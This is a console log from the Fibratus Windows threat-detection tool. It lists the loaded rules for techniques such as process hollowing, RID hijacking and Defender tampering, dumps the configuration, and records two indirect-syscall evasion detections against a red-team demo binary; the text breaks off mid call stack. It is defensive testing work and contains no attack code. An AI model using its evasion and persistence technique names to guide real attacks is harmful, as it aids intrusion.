+time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-10T16:34:36+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-12-10T16:34:36+01:00 level=info msg=bootstrapping with pid 11108. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-10T16:34:36+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ sound=>true enabled=>false quiet-mode=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ to=>[] content-type=>text/html enabled=>false port=>25 use-template=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enable-indirect-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-threads=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ enable-threadpool=>false enable-mem=>false enable-fileio=>true enable-vamap=>true max-buffers=>36 flush-interval=>1s stack-enrichment=>true enable-dns=>false enable-net=>true enable-registry=>true enable-thread=>true enable-audit-api=>true buffer-size=>512 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] min-buffers=>16 enable-handle=>false enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 max-age=>0 level=>info formatter=>text log-stdout=>true max-backups=>15] + output ......................... [ http=>[ tls-insecure-skip-verify=>false method=>POST enable-gzip=>false enabled=>false endpoints=>[] serializer=>json timeout=>5s] amqp=>[ durable=>false passive=>false exchange=>fibratus delivery-mode=>transient tls-insecure-skip-verify=>false vhost=>/ enabled=>false exchange-type=>topic timeout=>5s routing-key=>fibratus url=>amqp://localhost:5672] elasticsearch=>[ flush-period=>1s gzip-compression=>false sniff=>false template-name=>fibratus servers=>[http://127.0.0.1:9200] index-name=>fibratus timeout=>5s trace-log=>false healthcheck-timeout=>5s healthcheck=>true enabled=>false healthcheck-interval=>10s bulk-workers=>1] eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false read-sections=>false enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ skip-files=>false skip-mmaps=>false scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false fastscan=>true excluded-procs=>[] enabled=>false skip-registry=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-12-10T16:34:37+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-10T16:34:39+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-10T16:34:54+01:00 level=info msg=detected evasion "indirect_syscall" on event [ + Seq: 1430407 + Pid: 19284 + Tid: 14492 + Type: CreateThread + CPU: 4 + Name: CreateThread + Category: thread + Description: Creates a thread to execute within the virtual address space of the calling process + Host: archrabbit + Timestamp: 2025-12-10 16:34:47.5145686 +0100 CET + Params: base_prioâžœ 5, exeâžœ C:\Fibratus\redteam\LayeredSyscall\demo.exe, io_prioâžœ 0, kstackâžœ ffffdb022f8b6000, kstack_limitâžœ ffffdb022f8af000, page_prioâžœ 2, pidâžœ 16216, start_addressâžœ 7ff7539e3a00, tebâžœ 7419663000, tidâžœ 17248, ustackâžœ 7419900000, ustack_limitâžœ 74198ff000 + Metadata: evasions: [indirect_syscall] + + Pid: 19284 + Ppid: 3392 + Name: powershell.exe + Parent name: WindowsTerminal.exe + Cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Parent cmdline: "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.23.12811.0_x64__8wekyb3d8bbwe\WindowsTerminal.exe" + Exe: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Cwd: C:\Fibratus\fibratus\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:92f73a80-eb88-4714-bcdb-852673c93ad1 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff8037a342714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff8037a274909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff8037a348ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff8037a85af1d C:\WINDOWS\system32\ntoskrnl.exe!SeCreateAccessStateEx+0x20fd|0xfffff8037a85757c C:\WINDOWS\system32\ntoskrnl.exe!RtlFreeUTF8String+0x49c|0xfffff8037aac54ae C:\WINDOWS\system32\ntoskrnl.exe!CcMdlRead+0x7d7e|0xfffff8037a6b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc046a36d4 C:\Windows\System32\ntdll.dll!ZwCreateUserProcess|0x7ffc01b56a8a C:\Windows\System32\KernelBase.dll!CreateProcessInternalW|0x7ffc01b540e6 C:\Windows\System32\KernelBase.dll!CreateProcessW|0x7ffc02b5c6d4 C:\Windows\System32\kernel32.dll!CreateProcessW|0x7ffbe5141876 C:\Windows\assembly\NativeImages_v4.0.30319_64\System\22f4d83e48c2201947e262d4bca638b9\System.ni.dll!?|0x7ffbe50a3c89 C:\Windows\assembly\NativeImages_v4.0.30319_64\System\22f4d83e48c2201947e262d4bca638b9\System.ni.dll!?|0x7ffbe50a35f9 C:\Windows\assembly\NativeImages_v4.0.30319_64\System\22f4d83e48c2201947e262d4bca638b9\System.ni.dll!?|0x7ffb525f64f9 C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\4a7766a1c9970ca229a03b7aa442caed\System.Management.Automation.ni.dll!?|0x7ffb5250abba C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\4a7766a1c9970ca229a03b7aa442caed\System.Management.Automation.ni.dll!?|0x7ffb525b7f2d C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\4a7766a1c9970ca229a03b7aa442caed\System.Management.Automation.ni.dll!?|0x7ffb525b7beb C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\4a7766a1c9970ca229a03b7aa442caed\System.Management.Automation.ni.dll!?|0x7ffb5268f1ff C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\4a7766a1c9970ca229a03b7aa442caed\System.Management.Automation.ni.dll!?|0x7ffb8bb85031 unbacked!?] source=evasion/scanner.go:79 +time=2025-12-10T16:34:54+01:00 level=info msg=detected evasion "indirect_syscall" on event [ + Seq: 1431129 + Pid: 16216 + Tid: 17248 + Type: CreateThread + CPU: 4 + Name: CreateThread + Category: thread + Description: Creates a thread to execute within the virtual address space of the calling process + Host: archrabbit + Timestamp: 2025-12-10 16:34:47.6089805 +0100 CET + Params: base_prioâžœ 5, exeâžœ C:\Windows\System32\calc.exe, io_prioâžœ 0, kstackâžœ ffffdb022f911000, kstack_limitâžœ ffffdb022f90a000, page_prioâžœ 2, pidâžœ 9024, start_addressâžœ 7ff743561740, tebâžœ d124bc8000, tidâžœ 12316, ustackâžœ d124900000, ustack_limitâžœ d1248fe000 + Metadata: evasions: [indirect_syscall] + + Pid: 16216 + Ppid: 19284 + Name: demo.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\LayeredSyscall\demo.exe" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\LayeredSyscall\demo.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\LayeredSyscall\demo.exe"] + Session ID: 1 + Envs: map[] + + ] and callstack [0xfffff8037a342714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff8037a274909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff8037a348ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff8037a85af1d C:\WINDOWS\system32\ntoskrnl.exe!SeCreateAccessStateEx+0x20fd|0xfffff8037a85757c C:\WINDOWS\system32\ntoskrnl.exe!RtlFreeUTF8String+0x49c|0xfffff8037aac54ae C:\WINDOWS\system32\ntoskrnl.exe!CcMdlRead+0x7d7e|0xfffff8037a6b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc046a36d4 C:\Windows\System32\ntdll.dll!ZwCreateUserProcess|0x7ffc0455d0d1 C:\Windows\System32\ntdll.dll!RtlAllocateHeap|0x7ffc0455cca4 